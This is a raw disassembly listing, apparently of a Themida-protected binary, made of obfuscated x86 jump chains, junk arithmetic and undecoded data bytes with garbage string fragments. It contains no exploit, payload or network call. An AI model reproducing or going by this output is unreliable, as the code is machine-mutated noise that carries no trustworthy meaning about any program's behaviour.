		dd 0E2892414h, 7FC5B850h, 0E0C16E1Eh, 5E0C103h,	2414F750h
		dd 56EF0558h, 0E8C165CFh, 9F1F2D07h, 0C201008Eh, 0E00DE958h
		dd 0C481FFFFh, 4, 505FF901h, 4B8h, 0BDE98100h, 0E924263Ah
		dd 0D535h
; ---------------------------------------------------------------------------

loc_5133FC:				; CODE XREF: Themida_:005211E6j
		mov	[esp], edx
		push	ecx
		jmp	loc_521D76
; ---------------------------------------------------------------------------
		db 83h,	4, 24h
		dd 0BB535F04h, 5B0B3B83h, 1D39C381h, 0F3811DB8h, 78C358B8h
		dd 835BDF01h, 3C3302C7h, 0F269E924h, 575F0000h,	5F241CF7h
		dd 0FFCB16E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_513435:				; CODE XREF: Themida_:00522D8Dj
		mov	esi, 105E4749h
		mov	ebx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		mov	esi, 9C94047h
		jmp	loc_51B7CE
; ---------------------------------------------------------------------------

loc_513451:				; CODE XREF: Themida_:00522BD6j
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_51C294
; ---------------------------------------------------------------------------

loc_51345C:				; CODE XREF: Themida_:0050FAA6j
		push	ecx
		push	66B81A86h
		mov	ecx, [esp]
		add	esp, 4
		inc	ecx
		push	2E83h
		mov	[esp], ebp
		mov	ebp, 5BDD37DCh
		add	ebp, 0AFDD3F24h
		xor	ecx, ebp
		pop	ebp
		mov	ebx, ecx
		pop	ecx
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_51AF75
; ---------------------------------------------------------------------------
		dd 0D3E9CD01h, 0FF0000A3h, 0E9042474h, 1CE0h
; ---------------------------------------------------------------------------

loc_5134B8:				; CODE XREF: Themida_:00518516j
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		push	1E8Fh
		jmp	loc_50F936
; ---------------------------------------------------------------------------
		dd 4C281h, 0EA830000h, 9830E904h, 0CB800000h, 30C38094h
		dd 0E98CEB80h, 71A0h
; ---------------------------------------------------------------------------

loc_5134F4:				; CODE XREF: Themida_:00516CFFj
		push	esi
		mov	esi, 1887131Ah
		and	esi, 2DD32ABAh
		inc	esi
		xor	esi, 4B44662Bh
		xor	esi, 43C76434h
		jmp	loc_51BC9A
; ---------------------------------------------------------------------------

loc_513512:				; CODE XREF: Themida_:00511512j
		add	al, dl
		pop	edx
		or	al, 68h
		sub	al, 0
		add	ch, al
		jmp	loc_5142A1
; ---------------------------------------------------------------------------

loc_513520:				; CODE XREF: Themida_:00511FB6j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_523EF2
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 8104C483h, 0DA371BF6h, 47F6813Eh, 460E9C1Eh,	5ACEBF57h
		dd 0FE213DF9h, 0F3B4E9h
		db 0
; ---------------------------------------------------------------------------

loc_513549:				; CODE XREF: Themida_:00519315j
		sub	ebp, eax
		jmp	loc_51EA8C
; ---------------------------------------------------------------------------
		dd 0E9243C33h, 25F4h, 0D324248Bh, 0A9E92424h, 33FFFFC1h
		dd 248B241Ch, 24043324h, 33240431h, 248B2404h, 4096624h
		dd 8DE99C24h, 0C1FFFFC1h, 0E95005E7h, 9196h
; ---------------------------------------------------------------------------

loc_513588:				; CODE XREF: Themida_:00523CD6j
		add	esp, 4
		pop	dword ptr [esp]
		push	eax
		jmp	loc_521553
; ---------------------------------------------------------------------------

loc_513597:				; CODE XREF: Themida_:0051BFB3j
		not	dword ptr [esp]
		jmp	loc_516849
; ---------------------------------------------------------------------------
		db 83h
		dd 48904ECh, 5371B024h,	0C381E389h, 4, 8704EB83h, 248B241Ch
		dd 240C8924h, 886FB252h, 0E8305AD5h, 81240C8Bh,	4C4h, 34E8D000h
		dd 8CB05066h, 0C0C8E9h,	4BB00h,	0DD010000h, 0A7F7E9h
		db 0
; ---------------------------------------------------------------------------

loc_5135E5:				; CODE XREF: Themida_:0051A647j
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_524A10
; ---------------------------------------------------------------------------
aYphJ		db 'YPh¹J',0
		dd 48F5400h, 24048324h,	2434FF04h, 4C48358h, 5E1A68h, 24348900h
		dd 529268h, 240C8900h, 0CF49E9h, 5EF70100h, 243C875Ah
		dd 4EC815Ch, 89000000h,	0D3BB241Ch, 8159320Fh, 320FCFEBh
		dd 0E9DE0159h, 93E2h, 107E68h, 24048900h, 468h,	0D9E95800h
		db 0, 1, 0
; ---------------------------------------------------------------------------

loc_513653:				; CODE XREF: Themida_:00520C8Ej
		add	dl, ch
		jmp	loc_522442
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 6A872E32h, 0C1F8F781h, 0F901BA9Ch, 0E932E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51366E:				; CODE XREF: Themida_:00522406j
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_51DCF9
; ---------------------------------------------------------------------------

loc_51367B:				; CODE XREF: Themida_:00516C46j
		mov	edi, 3406C64h
		shl	edi, 2
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		mov	eax, 18FE25BAh
		shl	eax, 3
		jmp	loc_511B18
; ---------------------------------------------------------------------------

loc_513697:				; CODE XREF: Themida_:0051989Dj
		dec	ebp
		sub	ebp, 10D8F3h
		jmp	loc_51FC88
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0FFD32800h, 4DE92434h,	8100001Ah, 74042444h, 813CEA26h
		dd 0E104246Ch, 0E94C2D33h, 7CF6h, 0C7815F54h, 4, 1074BE9h
		dd 0C8B6600h, 0E6895624h, 0F717E953h, 0EB810000h, 5FA745EFh
		dd 25B7E95Eh, 68570000h, 2EEE1E04h, 8B2434FFh, 0C483243Ch
		dd 4C48104h, 81000000h,	3C743BE7h, 0C567E972h, 0E788FFFFh
		dd 8B5BFA88h, 88E92404h, 5BFFFFFFh, 4C481h, 73E90000h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_513727:				; CODE XREF: Themida_:0051D7F4j
		pop	edx
		jmp	loc_519EB5
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 4BDh, 0E9E80100h, 0AB64h, 1BE281h, 0C281360Dh, 0D0BD6AF1h
		dd 0E95AD701h, 0FFFFD005h, 31241C33h, 1C33241Ch, 0A30F5C24h
		dd 0E99C2404h, 0FFFFBFA8h, 74FF535Dh, 1C8B0424h, 0C5F8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_513772:				; CODE XREF: Themida_:0051097Fj
		push	ecx
		mov	ecx, esp
		jmp	loc_5191DE
; ---------------------------------------------------------------------------

loc_51377A:				; CODE XREF: Themida_:00524C3Ej
		pop	esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_51C020
; ---------------------------------------------------------------------------
		db 81h
		dd 322CB0E9h, 1E6E938h,	0EF010001h, 7CF6C781h, 34FF4605h
		dd 0C4835D24h, 27F2E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5137AE:				; CODE XREF: Themida_:0050F939j
		mov	ebx, 4CBE2AD9h
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		neg	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_523B97
; ---------------------------------------------------------------------------
aIS9		db '‰ê]é9œ',0
		dw 100h
		dd 0FF5559CDh, 8B042474h, 0C481242Ch, 4, 0E924048Fh, 0FFFFE61Ch
; ---------------------------------------------------------------------------

loc_5137EC:				; CODE XREF: Themida_:0051BE5Cj
		sub	edx, edi
		add	edx, 42BD3C7Eh
		pop	edi
		jmp	loc_517A65
; ---------------------------------------------------------------------------

loc_5137FA:				; CODE XREF: Themida_:00522D61j
		add	eax, 63983713h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 67ED5D6Ch
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, 6FEB120Ch
		add	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 0C2F7516h
		jmp	loc_510F87
; ---------------------------------------------------------------------------
		dd 5C243487h, 0B8E9D0F7h
		db 8, 1, 0
; ---------------------------------------------------------------------------

loc_51383F:				; CODE XREF: Themida_:00510F63j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_51DAB4
; ---------------------------------------------------------------------------
		db 89h
		dd 37BE2434h, 14B9218h,	24348BF2h, 0A0AEE9h
		db 0
; ---------------------------------------------------------------------------

loc_513869:				; CODE XREF: Themida_:00521B2Ej
		and	ebx, 686D4867h
		push	ecx
		jmp	loc_510B16
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 4050000h, 0E9000000h, 1FC9h,	0E9243433h, 7FCFh
; ---------------------------------------------------------------------------

loc_51388C:				; CODE XREF: Themida_:00522E36j
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_51A67F
; ---------------------------------------------------------------------------
aIHG		db '‰,$h»G',0
		align 4
		dd 0BB241C89h, 4, 0E9DA8952h, 96CAh, 0B9240C89h, 0
		dd 477EC181h, 0D129263Ah, 27BE9h
		db 0
; ---------------------------------------------------------------------------

loc_5138CD:				; CODE XREF: Themida_:0051684Aj
		xor	edx, 3C43108Ch
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_523230
		push	dword ptr [edi+1Ch]
		jmp	loc_52253D
; ---------------------------------------------------------------------------

loc_5138F1:				; CODE XREF: Themida_:005192A3j
		pop	ecx
		jmp	loc_51AEF7
; ---------------------------------------------------------------------------

loc_5138F7:				; CODE XREF: Themida_:00511D69j
		push	eax
		mov	eax, 4
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		push	7E83h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_50FB97
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 83000000h,	43E904EAh, 0F70000CDh, 6EAC1D2h
		dd 0C281D2F7h, 0BA3F14F9h, 7CE9D329h, 5F000000h, 0C3E9F001h
		dd 0B8000046h, 4, 8758C729h, 895C243Ch,	0F5B82404h, 0E97F706Bh
		dd 0DF3Dh, 8B66F030h, 2C682414h, 8900004Fh, 0E2892414h
		dd 4C281h, 0C2830000h, 24148702h, 9795E9h, 4EC8300h, 0BE243489h
		dd 41A275A1h, 0EE83EED1h, 78CE81FFh, 0E94AFA39h, 0D7EAh
		dd 78D568h, 240C8900h, 0A369C9B9h, 244C2945h, 240C8B04h
		dd 4C481h, 3FE90000h, 5A000047h, 0A7E9DA29h, 5B000022h
		dd 0E9241C87h, 3AB2h, 0CC885066h, 0CAE9D4F6h, 53FFFFCFh
		dd 3F68B850h, 0D0F74EF7h, 0BF57E8D1h, 180F145Fh, 0F89EE9h
		dd 240C3300h, 6624248Bh, 0E9240489h, 7345h, 8B2434FFh
		dd 0C483240Ch, 61CF6804h, 3C890000h, 34FF5424h,	1D79E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_513A26:				; CODE XREF: Themida_:0051CE16j
		mov	ecx, 7C1E1AE3h
		add	ebx, ecx
		pop	ecx
		inc	ebx
		push	esi
		mov	esi, 64C9E0EEh
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_51119E
; ---------------------------------------------------------------------------

loc_513A3F:				; CODE XREF: Themida_:0051458Ej
		mov	[esp], ebp
		mov	ebp, 4
		add	eax, 485A0679h
		add	eax, ebp
		push	ebx
		mov	ebx, 485A0679h
		jmp	loc_5177FE
; ---------------------------------------------------------------------------

loc_513A59:				; CODE XREF: Themida_:005180DDj
		mov	ebp, [esp]
		add	esp, 4
		dec	edx
		jmp	loc_517A16
; ---------------------------------------------------------------------------
		db 0C1h, 0EFh, 6
		dd 0C783D7F7h, 0ECEF8101h, 0E9BBF1DCh, 0FFFFC544h, 26B05066h
		dd 0FFF437E9h, 2434FFFFh, 0E9515Ah, 510000E5h, 25243481h
		dd 0FF518B15h, 0E95D2434h, 0A5AEh
; ---------------------------------------------------------------------------

loc_513A9C:				; CODE XREF: Themida_:0051F754j
		xor	esi, 1210B82h
		pop	eax
		sub	esi, 476F2F9Fh
		push	esi
		push	ebp
		push	eax
		jmp	loc_51AD67
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 81h
		dd 4C6h, 4C68100h, 87000000h, 0E95C2434h, 0EBE8h, 0F7E6D15Ah
		dd 0E6814ED6h, 50E83A62h, 0DEBF681h, 0F2015F70h, 0EC835E5Eh
		dd 0FDD2E904h, 0F581FFFFh, 57941E3Eh, 0E4DCC581h, 0E801C709h
		dd 671BE95Dh, 0EFC10000h, 7E7C108h, 1EF81h, 0E7C10000h
		dd 0FBB85008h, 31782FEDh, 58E958C7h
		db 9, 1, 0
; ---------------------------------------------------------------------------

loc_513B17:				; CODE XREF: Themida_:00517D3Dj
		add	edi, 11612F6h
		sub	edi, 6CA26BA0h
		sub	edi, 205344F1h
		mov	ebx, [esp]
		push	ecx
		jmp	loc_520A65
; ---------------------------------------------------------------------------

loc_513B32:				; CODE XREF: Themida_:0051AF89j
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_51AB93
; ---------------------------------------------------------------------------

loc_513B3D:				; CODE XREF: Themida_:0051A92Ej
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_52233C
; ---------------------------------------------------------------------------
		dd 477EE981h, 5152263Ah, 5BBE9h
		db 0
; ---------------------------------------------------------------------------

loc_513B55:				; CODE XREF: Themida_:0051B271j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		ror	byte ptr [esp],	cl
		pushf
		jmp	loc_50F70C
; ---------------------------------------------------------------------------
		dd 0E800A02Ch, 0E9A0B252h, 44C1h
; ---------------------------------------------------------------------------

loc_513B80:				; CODE XREF: Themida_:00523CA6j
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_524E4B
; ---------------------------------------------------------------------------
		db 66h
		dd 566D001h, 0F7E941B2h
		db 0B6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_513BA3:				; CODE XREF: Themida_:005217C1j
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 8Ah
		push	edx
		jmp	loc_518FA3
; ---------------------------------------------------------------------------

loc_513BB4:				; CODE XREF: Themida_:0051D80Cj
		push	edx
		mov	edx, 0FCB0071h
		sub	eax, 786A24DAh
		sub	eax, edx
		push	esi
		mov	esi, 786A24DAh
		add	eax, esi
		pop	esi
		jmp	loc_510BC2
; ---------------------------------------------------------------------------
		db 5
		dd 0F2B21E7h, 57243C8Bh, 1CE9E789h, 30000069h, 67E95AF3h
		dd 5EFFFFBCh, 0E5C1D5F7h, 0EB33E902h, 0F0290000h, 2B9FE9h
		dd 240C8900h, 0B208E9h,	58C68900h, 0F287D629h, 3DBEE9h
		dd 0B8505300h, 6DD1174Ch, 4EC81h, 3C890000h, 0A7A0E924h
		dd 835A0000h, 0F681FFC6h, 0E6BD929h, 3A73E9h, 0C7815800h
		dd 8EF7FFFFh, 2EB6B850h, 0C1484ED5h, 0E8C108E0h, 0E7EF0508h
		dd 0C20123A6h, 0F8C28158h, 811E7651h, 0BC064FEAh, 81FA017Bh
		dd 0BC064FC2h, 0A887E97Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_513C66:				; CODE XREF: Themida_:0051CB00j
		mov	[esp], esi
		push	edx
		push	63440EF8h
		pop	edx
		push	edi
		mov	edi, 1EE64B00h
		xor	edx, edi
		pop	edi
		shl	edx, 1
		jmp	loc_51CBA1
; ---------------------------------------------------------------------------
		dd 0E95BD801h, 0B27Eh
; ---------------------------------------------------------------------------

loc_513C88:				; CODE XREF: Themida_:00515978j
		mov	[esp], edx
		push	esi
		mov	esi, 7C5E2A7Eh
		not	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 9BAB3F50h
		jmp	loc_520976
; ---------------------------------------------------------------------------
		db 51h
		dd 0DC656CB9h, 59CE0152h, 8BF00158h, 0C4812434h, 4, 83242C8Bh
		dd 526804C4h, 8900000Ah, 5EE9240Ch, 560000CEh, 0A416F0BEh
		dd 89C58147h, 81190442h, 6B0817EDh, 9318E911h, 0C4830000h
		dd 0FBABE904h, 1DE90000h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_513CEF:				; CODE XREF: Themida_:0051B23Cj
		sub	ebx, 1CF85A32h
		add	ebx, ecx
		add	ebx, 1CF85A32h
		pop	ecx
		push	edi
		mov	edi, 2B76482Ch
		add	ebx, 4C54DE0h
		sub	ebx, edi
		sub	ebx, 4C54DE0h
		pop	edi
		mov	eax, [ebx]
		jmp	loc_5174B0
; ---------------------------------------------------------------------------
		dw 0BDBDh
		dd 687BFE32h, 2E7Ch, 0BD242C89h, 1E7C7FF0h, 8246C01h, 0FFE241E9h
		dd 28F6BBFFh, 0DE312B52h, 5EF7095Bh, 8106EFC1h,	1F0AFEEFh
		dd 5FFD29B5h, 0C581FD01h, 4C3D7274h, 5F2434FFh,	4C481h
		dd 2C330000h, 242C3124h, 8B242C33h, 34FF2424h, 6B30E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_513D72:				; CODE XREF: Themida_:005164CBj
		sub	ebx, 2ADE06C6h
		push	3EE8h
		mov	[esp], ecx
		mov	ecx, 66846963h
		neg	ecx
		or	ecx, 241A4E9Ah
		sub	ecx, 7DC085B3h
		sub	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 7F5A38F4h
		add	edx, 0DEA529C1h
		jmp	loc_51E82C
; ---------------------------------------------------------------------------
		dd 0E7C1DF87h, 6E7C103h, 0C740BB53h, 0EF81061Bh, 2CF9526Fh
		dd 0D4E9DF29h, 29000078h, 2434FFD8h, 4C4815Bh, 55000000h
		dd 641FEBBDh, 0FBED816Dh, 0C1531958h, 0C58103E5h, 59C5070h
		dd 0FFEDA8E9h, 5BDA21FFh, 0E905EAC1h, 0F4C5h
; ---------------------------------------------------------------------------

loc_513DF8:				; CODE XREF: Themida_:0051FB76j
		mov	edi, ecx
		mov	eax, edi
		pop	edi
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_52192C
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 4C48159h,	0E9000000h, 0FFFFDFC4h,	6624248Bh
		dd 5124048Bh, 0C181E189h, 4, 4E981h, 0C870000h,	57E95C24h
		dd 0F7000022h, 0BF9EE9DBh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_513E3E:				; CODE XREF: Themida_:0051C70Ej
		mov	esp, [esp]
		jmp	loc_514D93
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 5A7768h, 24248900h, 4240481h, 8F000000h, 4812404h
		dd 424h, 89575F00h, 4C781E7h, 0E9000000h, 6586h
; ---------------------------------------------------------------------------

loc_513E74:				; CODE XREF: Themida_:00521698j
		add	edx, 96A4256Dh
		jmp	loc_51FF9C
; ---------------------------------------------------------------------------
		db 81h
		dd 0FA194CEDh, 53ED8175h, 148B809h, 0B6B850FDh,	2D20EA72h
		dd 0D8326963h, 0E958C501h, 34C0h, 89241C89h, 4C381E3h
		dd 83000000h, 93E904EBh
		db 9, 2	dup(0)
; ---------------------------------------------------------------------------

loc_513EB3:				; CODE XREF: Themida_:0051696Cj
		pop	esp
		push	dword ptr [edi+eax*4]
		sub	dword ptr [esp], 0B716ADEh
		pop	eax
		push	1403h
		mov	[esp], edx
		jmp	loc_51E53A
; ---------------------------------------------------------------------------
		dd 144AABBAh, 6EAC116h,	0FFBC99E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_513ED9:				; CODE XREF: Themida_:005152BCj
		push	ebp
		mov	ebp, 63815E01h
		add	ebp, 27FB2A7h
		add	esi, ebp
		pop	ebp
		add	esi, edi
		sub	esi, 660110A8h
		sub	esi, 28EF5375h
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_5170A1
; ---------------------------------------------------------------------------
		dw 0E181h
		dd 0FAF6120h, 0AC93B850h, 0C129908Bh, 0FFCA3158h, 0E9592434h
		dd 4A7Dh, 81243C8Bh, 4C4h, 5EC68100h, 1233C7Bh,	5EEE81FEh
		dd 81233C7Bh, 0B459C4C6h, 2434FF5Fh, 83243C8Bh,	0C48304C4h
		dd 39B56804h, 0A8E90000h, 810000B8h, 4C4h, 80D5F600h, 0E5C001C5h
		dd 3CC58007h, 2FE95C2Ch, 8000008Bh, 0F5E91FEBh,	33FFFFC2h
		dd 248B2404h, 9CC88524h, 0FFB787E9h, 2434FFFFh,	0BBF8E958h
		dd 77FF0000h, 59669D1Ch, 9C241CD3h, 48B1E9h, 0EF815B00h
		dd 70A96F36h, 0B33BE9h,	0BD555E00h, 4, 8EE9EA29h, 570000ECh
		dd 0DBBCE9h
		db 0
; ---------------------------------------------------------------------------

loc_513FBD:				; CODE XREF: Themida_:00514A1Ej
		add	esp, 4
		jmp	loc_521A2B
; ---------------------------------------------------------------------------

loc_513FC5:				; CODE XREF: Themida_:0051CC12j
		push	eax
		xor	dword ptr [esp], 3DCC2F0Dh
		push	dword ptr [esp]
		jmp	loc_51B720
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 592434FFh, 0E95F5457h, 0C833h
; ---------------------------------------------------------------------------

loc_513FE4:				; CODE XREF: Themida_:005178BFj
		sub	ebp, 12DD4026h
		jmp	loc_51C511
; ---------------------------------------------------------------------------
aMsSx		db '¬S³¾(Øéå:',0
		align 2

loc_513FFA:				; CODE XREF: Themida_:00518EA3j
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		push	eax
		push	ecx
		push	3E80h
		mov	[esp], ebx
		mov	bl, dl
		push	eax
		mov	ah, bl
		mov	cl, ah
		pop	eax
		pop	ebx
		mov	ah, cl
		jmp	loc_50F8A5
; ---------------------------------------------------------------------------
		dd 7FBF281h, 0C2813947h, 0D6072669h, 148BD721h,	4C48124h
		dd 81000000h, 0C500CEFh, 5F5D572Bh, 0F11C181h, 8CE96868h
		dd 330000EBh, 248B2404h, 69EDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51405A:				; CODE XREF: Themida_:00515CCCj
		push	edi
		push	ebx
		mov	ebx, 116E48CFh
		or	ebx, 621D0656h
		or	ebx, 642D7BC5h
		shl	ebx, 6
		shr	ebx, 7
		neg	ebx
		xor	ebx, 0FE404015h
		mov	edi, ebx
		pop	ebx
		sub	ebx, edi
		jmp	loc_51C704
; ---------------------------------------------------------------------------
		db 28h,	0CBh, 66h
		dd 58B25259h, 80B9B151h, 0CA3045F1h, 5EBE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_51409A:				; CODE XREF: Themida_:00510B3Cj
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5159C5
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 4
		dd 1000000h, 5D04246Ch,	81241C8Bh, 4C4h, 4C38100h, 81000000h
		dd 4ECh, 242C8900h, 4BDh, 0E9EB0100h, 7CBEh
; ---------------------------------------------------------------------------

loc_5140DC:				; CODE XREF: Themida_:005127E3j
		pop	ebx
		mov	ebp, eax
		pop	eax
		jmp	loc_51BB67
; ---------------------------------------------------------------------------
aXst_0		db 'Xé’É',0
		dw 6800h
		dd 6E03h, 57242C89h, 8736BEBFh,	0E9FD8908h, 4F3Eh, 0FFB607E9h
		dd 5AD001FFh, 0E9240487h, 7637h, 4A59595Ah, 0E51EF281h
		dd 0D0290892h, 7EBE565Ah, 1309701h, 76BE9F0h
		db 1, 0
; ---------------------------------------------------------------------------

loc_51412A:				; CODE XREF: Themida_:0051692Cj
		sub	ebx, 53195995h
		jmp	loc_524F0E
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 37h
		dd 5A186244h, 0CD38E95Dh, 0C2680000h, 8900000Fh, 1D68243Ch
		dd 89000035h, 0BA522424h, 4, 4245401h, 0E9555F5Ah, 9C95h
; ---------------------------------------------------------------------------

loc_514164:				; CODE XREF: Themida_:0051ABF4j
		push	dword ptr [esp]
		pop	edi
		push	ecx
		jmp	loc_50F8C1
; ---------------------------------------------------------------------------

loc_51416E:				; CODE XREF: Themida_:0051687Ej
		push	edx
		mov	edx, 742550ECh
		mov	edi, 2E2C4CD7h
		jmp	loc_511E82
; ---------------------------------------------------------------------------

loc_51417E:				; CODE XREF: Themida_:00524863j
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ebx
		jmp	loc_519536
; ---------------------------------------------------------------------------

loc_514196:				; CODE XREF: Themida_:00517CFDj
		sub	[esp+4], ebx
		sub	dword ptr [esp+4], 318E6272h
		pop	ebx
		pop	eax
		add	eax, 79A73315h
		mov	ecx, [esp]
		jmp	loc_523CBB
; ---------------------------------------------------------------------------

loc_5141B1:				; CODE XREF: Themida_:00515778j
		mov	edi, 0A8B01A2h
		mov	ecx, 891D4FF1h
		sub	ecx, edi
		pop	edi
		push	esi
		push	465D3601h
		pop	esi
		shr	esi, 8
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 512944D7h
		push	edx
		mov	edx, 4EA34F4Ch
		jmp	loc_5186B7
; ---------------------------------------------------------------------------
		dw 0DF01h
		dd 243C875Bh, 5624248Bh, 4BEh, 0B727E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5141F2:				; CODE XREF: Themida_:0051FD56j
		push	edx
		mov	edx, 6FE9306Dh
		sub	eax, edx
		pop	edx
		jmp	loc_510594
; ---------------------------------------------------------------------------

loc_514200:				; CODE XREF: Themida_:00510C5Fj
		mov	ecx, 24517146h
		dec	ecx
		neg	ecx
		jmp	loc_51F0B8
; ---------------------------------------------------------------------------
aS5pSrj		db '¾S5P!éàJ',0
		dw 5100h
aFK1wfCosdg	db 'f¹Š1Wf¿æo餣',0
		align 2
		dw 0EC81h
		dd 4, 0BE243489h, 0FF10CFEBh, 59F0E9h
		db 0
; ---------------------------------------------------------------------------

loc_514239:				; CODE XREF: Themida_:0051EF69j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_50F99A
; ---------------------------------------------------------------------------
		db 89h
		dd 6C682414h, 8B258506h, 0C4832414h, 0FDB95104h, 0E929F121h
		dd 910Fh
; ---------------------------------------------------------------------------

loc_514260:				; CODE XREF: Themida_:0051750Cj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_51900B
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0ACBAh, 194F2FBAh, 0E9DAF74Dh, 0A215h, 4EC81h
		dd 3AE90000h, 6800006Ah, 6B645404h, 17BF575Dh, 31239C51h
		dd 243C8BFDh, 3A02E9h
		db 0
; ---------------------------------------------------------------------------

loc_5142A1:				; CODE XREF: Themida_:0051351Bj
		pop	eax
		sub	ch, 0C3h
		add	al, ch
		pop	ecx
		push	small 1DD8h
		mov	[esp], bx
		push	edx
		jmp	loc_5100E8
; ---------------------------------------------------------------------------
		dw 0C189h
		dd 0FFFCC8E9h, 59CF31FFh, 525FF901h, 2BAh, 0F646E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5142CE:				; CODE XREF: Themida_:00515E2Fj
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_517A58
; ---------------------------------------------------------------------------

loc_5142D7:				; CODE XREF: Themida_:0051D21Fj
		sub	ebx, 1AF30600h
		add	ebx, eax
		add	ebx, 1AF30600h
		sub	ebx, 1322659Bh
		push	edx
		push	esi
		mov	esi, 419C4ABBh
		sub	esi, 1
		or	esi, 697A26EFh
		dec	esi
		push	ecx
		push	esi
		mov	esi, 13185AA0h
		jmp	loc_523855
; ---------------------------------------------------------------------------

loc_514308:				; CODE XREF: Themida_:0052125Cj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		div	cl
		movzx	cx, ah
		push	5FDDh
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 29B332B7h
		mov	ebp, 1E29149Eh
		add	ebp, edx
		pop	edx
		or	ebp, 258A5AE8h
		push	edx
		push	ebx
		mov	ebx, 4C675642h
		mov	edx, 0D24FC563h
		add	edx, ebx
		pop	ebx
		jmp	loc_511CCA
; ---------------------------------------------------------------------------

loc_514370:				; CODE XREF: Themida_:00521908j
		mov	[esp], edi
		jmp	loc_51256A
; ---------------------------------------------------------------------------

loc_514378:				; CODE XREF: Themida_:0052264Fj
		idiv	ecx
		push	2655h
		jmp	loc_51BCDE
; ---------------------------------------------------------------------------
